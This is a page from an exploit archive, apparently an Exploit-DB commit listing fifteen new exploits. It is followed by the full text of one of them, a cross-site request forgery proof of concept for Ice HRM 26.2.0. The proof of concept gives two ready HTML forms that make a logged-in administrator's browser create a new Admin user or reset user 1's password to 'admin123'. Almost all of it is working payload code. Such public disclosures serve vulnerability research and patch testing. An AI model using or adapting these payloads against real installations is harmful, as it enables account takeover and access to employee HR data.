228a37da9c
15 changes to exploits/shellcodes HP System Event 1.2.9.0 - 'HPWMISVC' Unquoted Service Path BOOTP Turbo 2.0.1214 - 'BOOTP Turbo' Unquoted Service Path MSI Packages Symbolic Links Processing - Windows 10 Privilege Escalation DHCP Turbo 4.61298 - 'DHCP Turbo 4' Unquoted Service Path TFTP Turbo 4.6.1273 - 'TFTP Turbo 4' Unquoted Service Path Cuckoo Clock v5.0 - Buffer Overflow Anviz CrossChex - Buffer Overflow (Metasploit) SOPlanning 1.45 - 'by' SQL Injection Wordpress Plugin Strong Testimonials 2.40.1 - Persistent Cross-Site Scripting Avaya Aura Communication Manager 5.2 - Remote Code Execution Ice HRM 26.2.0 - Cross-Site Request Forgery (Add User) WordPress Theme Fruitful 3.8 - Persistent Cross-Site Scripting SOPlanning 1.45 - Cross-Site Request Forgery (Add User) SOPlanning 1.45 - 'users' SQL Injection LabVantage 8.3 - Information Disclosure
40 lines
No EOL
1.9 KiB
Text
40 lines
No EOL
1.9 KiB
Text
# Exploit Title: Ice HRM 26.2.0 - Cross-Site Request Forgery (Add User)
|
|
# Date: 2020-02-14
|
|
# Exploit Author: J3rryBl4nks
|
|
# Vendor Homepage: https://icehrm.com/
|
|
# Software Link: https://sourceforge.net/projects/icehrm/#Version 26.2.0
|
|
# Tested on Windows 10/Kali Rolling
|
|
|
|
# The Ice HRM Web Application is vulnerable to CSRF that leads to arbitrary user creation or password change:
|
|
|
|
# POC for user creation:
|
|
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="http://HOSTHERE/icehrm/app/service.php">
|
|
<input type="hidden" name="t" value="User" />
|
|
<input type="hidden" name="a" value="ca" />
|
|
<input type="hidden" name="sa" value="saveUser" />
|
|
<input type="hidden" name="mod" value="admin=users" />
|
|
<input type="hidden" name="req" value="{"username":"test","email":"test@test.com","employee":"1","user_level":"Admin","user_roles":"[\"2\"]","lang":"NULL","default_module":"NULL","csrf":"c0bdded55472fab56c578386143a1854e6f8dd11"}" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
# POC for Password Change:
|
|
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="http://HOSTHERE/icehrm/app/service.php">
|
|
<input type="hidden" name="t" value="User" />
|
|
<input type="hidden" name="a" value="ca" />
|
|
<input type="hidden" name="sa" value="changePassword" />
|
|
<input type="hidden" name="mod" value="admin=users" />
|
|
<input type="hidden" name="req" value="{"id":1,"pwd":"admin123"}" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |